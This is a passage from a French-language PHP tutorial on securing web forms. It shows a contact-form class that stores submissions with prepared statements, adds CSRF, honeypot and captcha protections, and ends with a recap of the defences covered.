            $pdo->exec("CREATE TABLE IF NOT EXISTS contacts (
                id INTEGER PRIMARY KEY AUTOINCREMENT,
                nom TEXT NOT NULL,
                prenom TEXT NOT NULL,
                email TEXT NOT NULL,
                telephone TEXT,
                message TEXT NOT NULL,
                fichier TEXT,
                ip TEXT NOT NULL,
                user_agent TEXT,
                timestamp INTEGER NOT NULL
            )");
            
            $sql = "INSERT INTO contacts (nom, prenom, email, telephone, message, fichier, ip, user_agent, timestamp) 
                    VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)";
            
            $stmt = $pdo->prepare($sql);
            return $stmt->execute([
                $donnees['nom'],
                $donnees['prenom'], 
                $donnees['email'],
                $donnees['telephone'],
                $donnees['message'],
                $donnees['fichier'],
                $donnees['ip'],
                $donnees['user_agent'],
                $donnees['timestamp']
            ]);
            
        } catch (PDOException $e) {
            error_log("Erreur BDD: " . $e->getMessage());
            return false;
        }
    }
    
    private function journaliser($action, $details) {
        $log = date('Y-m-d H:i:s') . " - $action - " . 
               $_SERVER['REMOTE_ADDR'] . " - $details\n";
        file_put_contents('security_logs.txt', $log, FILE_APPEND | LOCK_EX);
    }
    
    private function erreur($message) {
        return ['success' => false, 'message' => htmlspecialchars($message)];
    }
    
    private function succes($message) {
        return ['success' => true, 'message' => htmlspecialchars($message)];
    }
    
    public function afficherFormulaire() {
        $captcha_question = $this->genererCaptcha();
        $csrf_token = $this->genererCSRF();
        
        return "
        <form method='POST' enctype='multipart/form-data' id='contact-securise'>
            <!-- Protection CSRF -->
            <input type='hidden' name='csrf_token' value='$csrf_token'>
            
            <!-- Honeypot anti-bot -->
            <input type='text' name='website' style='display:none'>
            
            <div>
                <label for='nom'>Nom *</label>
                <input type='text' id='nom' name='nom' required maxlength='50'>
            </div>
            
            <div>
                <label for='prenom'>Prénom *</label>
                <input type='text' id='prenom' name='prenom' required maxlength='50'>
            </div>
            
            <div>
                <label for='email'>Email *</label>
                <input type='email' id='email' name='email' required maxlength='254'>
            </div>
            
            <div>
                <label for='telephone'>Téléphone</label>
                <input type='tel' id='telephone' name='telephone'>
            </div>
            
            <div>
                <label for='message'>Message *</label>
                <textarea id='message' name='message' required minlength='10' maxlength='1000'></textarea>
            </div>
            
            <div>
                <label for='piece_jointe'>Pièce jointe</label>
                <input type='file' id='piece_jointe' name='piece_jointe' 
                       accept='.jpg,.jpeg,.png,.gif,.pdf,.txt'>
            </div>
            
            <div>
                <label for='captcha'>$captcha_question</label>
                <input type='text' id='captcha' name='captcha' required>
            </div>
            
            <button type='submit'>Envoyer (Sécurisé)</button>
        </form>";
    }
}

// UTILISATION
$formulaire = new FormulaireSuperSecurise();

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $resultat = $formulaire->traiterFormulaire();
    echo $resultat['success'] ? 
        "<div class='success'>✅ " . $resultat['message'] . "</div>" :
        "<div class='error'>❌ " . $resultat['message'] . "</div>";
}

echo $formulaire->afficherFormulaire();
?>

Récapitulatif des Protections Implémentées

🛡️ Protection des Données

Échappement XSS
Validation stricte
Nettoyage des entrées
Requêtes préparées
Longueurs limitées

🔒 Protection des Sessions

Tokens CSRF
Sessions sécurisées
Validation IP/UA
Régénération d'ID
Expiration auto

⚙️ Protection du Système

Rate limiting
Upload sécurisé
Détection malware
Honeypot anti-bot
Headers sécurité

Sécurité Maîtrisée !

Vous connaissez maintenant toutes les vulnérabilités des formulaires web et comment créer des applications PHP ultra-sécurisées. Passez aux sujets avancés !

🎯 Niveau de sécurité atteint :

Protection XSS • Anti-CSRF • SQL Injection • Upload Sécurisé • Rate Limiting • Sessions Blindées • Détection Malware • Validation Stricte